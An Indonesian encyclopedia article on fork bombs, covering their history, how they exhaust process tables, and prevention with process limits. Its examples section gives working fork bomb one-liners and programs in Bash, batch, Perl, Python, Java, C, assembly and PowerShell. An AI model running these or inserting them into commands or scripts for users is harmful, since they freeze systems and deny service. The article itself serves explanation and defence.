Konsep di balik bom garpu — proses yang terus-menerus membelah diri, berpotensi menyebabkan penolakan layanan

Dalam komputasi, fork bomb, (juga disebut virus kelinci atau wabbit) adalah denial-of-service attack dimana proses terus bereplikasi sendiri untuk menguras sumber daya sistem yang tersedia, memperlambat atau membekukan sistem karena kekurangan sumber daya.

Sejarah

sunting

Sekitar tahun 1978, varian awal dari sebuah bom garpu yang disebut wabbit dilaporkan berjalan pada sebuah System/360. Serangan itu mungkin telah diturunkan dari serangan serupa yang sering disebut RABBITS. Serangan ini dilaporkan dari tahun 1969 pada sebuah Burroughs 5500 di University of Washington.[1]

Implementasi

sunting

Bom garpu beroperasi baik dengan memakan waktu CPU dalam proses forking, dan dengan menjenuhkan proses table sistem operasi.[2][3] dasar pengoperasian bom garpu adalah infinite loop yang berulang kali meluncurkan proses yang sama.

Pada sistem operasi serupa-Unix bom garpu umumnya ditulis menggunakan fork system call. Sebagai proses bercabang yang juga merupakan salinan dari program pertama, setelah mereka melanjutkan eksekusi dari alamat berikutnya di frame pointer, mereka juga berusaha untuk membuat salinan dari diri mereka sendiri; ini memiliki efek yang menyebabkan pertumbuhan eksponensial dalam proses. Sistem Unix modern umumnya menggunakan copy-on-write ketika melakukan forking proses-proses baru,[4] sebuah bom garpu umumnya tidak akan membuat jenuh sistem memori.

Sistem operasi Microsoft Windows tidak memiliki fungsi setara dengan Unix fork system call;[5] oleh karena itu bom garpu pada suatu sistem operasi harus membuat sebuah proses baru bukan forking dari yang sudah ada.

Contoh bom garpu

sunting

Bash

sunting
 :(){ :|:& };:

Triknya adalah bahwa : adalah sebuah nama fungsi — oleh karena itu serupa juga dengan bomb() { bomb | bomb & }; bomb.

Sama seperti diatas tetapi di encode dengan shell script:

#!/bin/bash
./$0|./$0&

Windows batch

sunting
 :s
 start "" %0
 goto s

Sama dengan diatas, tetapi lebih singkat:

 %0|%0

Kombinasi dari dua perintah diatas(untuk mencocokan konsep):

:s
 start "" %0
 %0|%0
 goto s

Sama dengan diatas, tetapi dilakukan di command line menggunakan ^ untuk menghindari:

echo %0^|%0 > forkbomb.bat
forkbomb.bat

Perl

sunting

Contoh inline shell menggunakan Perl interpreter:

 perl -e "fork while fork" &

Python

sunting

Kode dibawah dibuat menjadi file Python (.py). Contoh kode Python interpreter:

 import os
 while 1:
     os.fork()

Java

sunting
public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

C

sunting
#include <unistd.h>

int main(void)
{
    while(1) {
      fork(); /* malloc can be used in order to increase the data usage */
    }
}

Assembly (Linux berjalan pada sistem IA-32)

sunting

Kode di bawah ini dapat dijalankan di KolibriOS, karena KolibriOS dibuat menggunakan bahasa Assembly. Contoh kode Assembly interpreter:

section .text
    global _start
    
_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

PowerShell

sunting

Kode dibawah dibuat menjadi file PowerShell Script (.ps1). Contoh kode PowerShell interpreter:

while($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';}

Pencegahan

sunting

Karena modus operasi bom garpu sepenuhnya dikemas dengan menciptakan proses-proses baru, salah satu cara untuk mencegah bom garpu dari kerusakan parah yang memengaruhi seluruh sistem yaitu dengan membatasi jumlah maksimum dari proses yang dapat dilakukan 1 pengguna. Di Linux, hal ini dapat dicapai dengan menggunakan utilitas ulimit; sebagai contoh, perintah ulimit -u 30 akan membatasi pengguna yang terkena dampak maksimum tiga puluh proses yang dimiliki.[6] Pada PAM-enabled system, batas ini juga bisa di set di /etc/security/limits.conf,[7] dan pada FreeBSD, administrator sistem dapat menempatkan batas dalam /etc/login.conf.[8]

Lihat juga

sunting

Referensi

sunting
  1. ^ Raymond, Eric S. (October 1, 2004). "wabbit". The Jargon Lexicon. Diarsipkan dari asli tanggal 2012-05-15. Diakses tanggal October 15, 2013.
  2. ^ Ye, Nong (2008). Secure Computer and Network Systems: Modeling, Analysis and Design. hlm. 16. ISBN 0470023244.
  3. ^ Jielin, Dong (2007). Network Dictionary. hlm. 200. ISBN 1602670005.
  4. ^ Dhamdhere, D. M. (2006). Operating Systems: A Concept-based Approach. hlm. 285. ISBN 0070611947.
  5. ^ Hammond, Mark (2000). Python Programming On Win32: Help for Windows Programmers. hlm. 35. ISBN 1565926218.
  6. ^ Cooper, Mendel (2005). Advanced Bash Scripting Guide. hlm. 305–306. ISBN 1430319305.
  7. ^ Soyinka, Wale (2012). Linux Administration: A Beginners Guide. hlm. 364–365. ISBN 0071767592.
  8. ^ Lucas, Michael W. (2007). Absolute FreeBSD: The Complete Guide to FreeBSD. hlm. 198–199. ISBN 1593271514.

📚 Artikel Terkait di Wikipedia

React

memecah animasi menjadi berdasarkan segmen yang dapat tersebar di beberapa frame. Demikian pula, struktur halaman dapat dipecah menjadi segmen-segmen yang

Quicksort

quicksort (atau in-place) (yang hanya menggunakan memori tambahan tetap untuk pointer dan buffer, dan memori tambahan lognN untuk pengaturan untuk rekursif yang

CT2

sistem ini adalah: Terstandardisasi, menggunakan frekuensi 864-868 MHz 500 frame/detik (antara perangkat dan base station) Pembawa 100 kHz Kompresi kanal

Protokol Kendali Transmisi

network interface (lapisan pertama dalam DARPA Reference Model) menjadi frame lapisan Network Interface. Gambar berikut mengilustrasikan data yang dikirimkan